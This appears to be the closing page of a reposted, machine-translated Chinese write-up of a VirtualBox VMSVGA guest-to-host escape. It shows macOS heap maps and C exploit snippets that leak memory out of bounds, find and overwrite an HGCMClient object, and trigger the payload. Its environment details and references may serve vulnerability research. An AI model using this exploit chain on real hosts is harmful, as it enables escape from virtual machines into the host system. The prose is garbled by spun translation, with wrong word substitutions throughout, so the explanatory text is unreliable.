MALLOC_TINY00007ff16b400000-00007ff16b800000 [ 4096K2464K2464K1632K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

上一页[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]下一页

MALLOC_SMALL00007ff16b800000-00007ff16c06d000 [ 8628K6592K6592K1828K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_SMALL (empty)00007ff16c06d000-00007ff16c06e000 [4K4K4K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff16c06e000-00007ff16d000000 [ 15.6M14.0M14.0M1440K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000

MALLOC_SMALL00007ff16d000000-00007ff16d800000 [ 8192K5608K5608K2312K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff16d800000-00007ff16da00000 [ 2048K864K864K1184K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff16da00000-00007ff16dc00000 [ 2048K24K24K8K] rw-/rwx SM=COWQuartzCore_0x10cc46000

MALLOC_TINY00007ff16dc00000-00007ff16de00000 [ 2048K20K20K24K] rw-/rwx SM=COWGFXMallocZone_0x107072000

MALLOC_TINY (empty)00007ff16de00000-00007ff16df00000 [ 1024K8K8K8K] rw-/rwx SM=COWGFXMallocZone_0x107072000

MALLOC_TINY00007ff16df00000-00007ff16e000000 [ 1024K940K940K84K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_SMALL (empty)00007ff16e000000-00007ff16e800000 [ 8192K4K4K8K] rw-/rwx SM=COWQuartzCore_0x10cc46000

MALLOC_SMALL00007ff16e800000-00007ff16f000000 [ 8192K8K8K240K] rw-/rwx SM=COWGFXMallocZone_0x107072000

MALLOC_SMALL (empty)00007ff16f000000-00007ff170000000 [ 16.0M8K8K172K] rw-/rwx SM=COWGFXMallocZone_0x107072000

MALLOC_TINY (empty)00007ff170000000-00007ff170100000 [ 1024K8K8K4K] rw-/rwx SM=COWQuartzCore_0x10cc46000

MALLOC_TINY00007ff170100000-00007ff170200000 [ 1024K988K988K36K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_TINY (empty)00007ff170200000-00007ff170300000 [ 1024K8K8K4K] rw-/rwx SM=COWQuartzCore_0x10cc46000

MALLOC_TINY00007ff170300000-00007ff170400000 [ 1024K4K4K20K] rw-/rwx SM=COWGFXMallocZone_0x107072000

MALLOC_TINY00007ff170400000-00007ff170500000 [ 1024K1024K1024K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000

MALLOC_TINY00007ff170500000-00007ff170800000 [ 3072K3072K3072K0K] rw-/rwx SM=COWDefaultMallocZone_0x10

定位并重写HGCMClient工具

一旦堆喷射完成,将会从SVGA3D_MAX_SURFACE_IDS – 1开始,越界读取与外面相关的泄露内存假如找到任何HGCMClient,就会竣事搜索,否则将会继承

上一页[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]下一页

/*泄露内存*/

for (int i = SVGA3D_MAX_SURFACE_IDS – 1; i >= 0; i–) {

access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000);

rv = find_hgcm_client(memory, 0x1000, &details);

if (rv == 0) {

surface_id = i;

break;

}

}

在找到客户端工具后,我们经由过程泄露其“pSelf”指针来懂得工具的位置工具的vtable是一个指向VBoxC.dylib的指针上述二者都不会受到ASLR机制的影响随后,我们应用搜索时代找到的外面ID,对其进行越界写入,从而破坏工具

access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000);

Finally, use HGCM disconnect to use the corrupted HGCMClient as below:

warnx(“[+] Triggering payload…”);

disconnect_client(details.key);

情况

· Guest情况:Ubuntu Server 16.04.5 64位,启用单个vCPU和VMSVGA

· Host情况:macOS High Sierra 10.13.6 请留意,macOS Mojave不支持较旧版本的VirtualBox

· VirtualBox:5.1.22 r115126版本

演示视频

参考文献

[1] VMware托管I/O架构上的GPU虚拟化

https://www.usenix.org/legacy/event/wiov08/tech/full_papers/dowty/dowty.pdf

[2] VMware SVGA设备接口和编程模型

https://sourceforge.net/p/vmware-svga/git/ci/master/tree/doc/svga_interface.txt

[3] CLOUDBURST – Vmware Guest到Host逃逸的故事

https://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf

[4] 经由过程硬件仿真进击虚拟机治理法度榜样

https://www.troopers.de/downloads/troopers17/TR17_Attacking_hypervisor_through_hardwear_emulation.pdf

[5] VBoxManage

https://www.virtualbox.org/manual/ch08.html

[6] Oracle紧张补丁更新看护布告 – 2015年1月

https://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html

[7] Oracle紧张补丁更新看护布告 – 2017年7月

https://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html

[8] Oracle紧张补丁更新看护布告 – 2017年10月

https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

[9] Heapple Pie – macOS/iOS中的默认堆

https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf

[10] OS X堆破绽使用

https://github.com/blankwall/MacHeap

[11] 思虑在VirtualBox之外

https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf

上一页[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包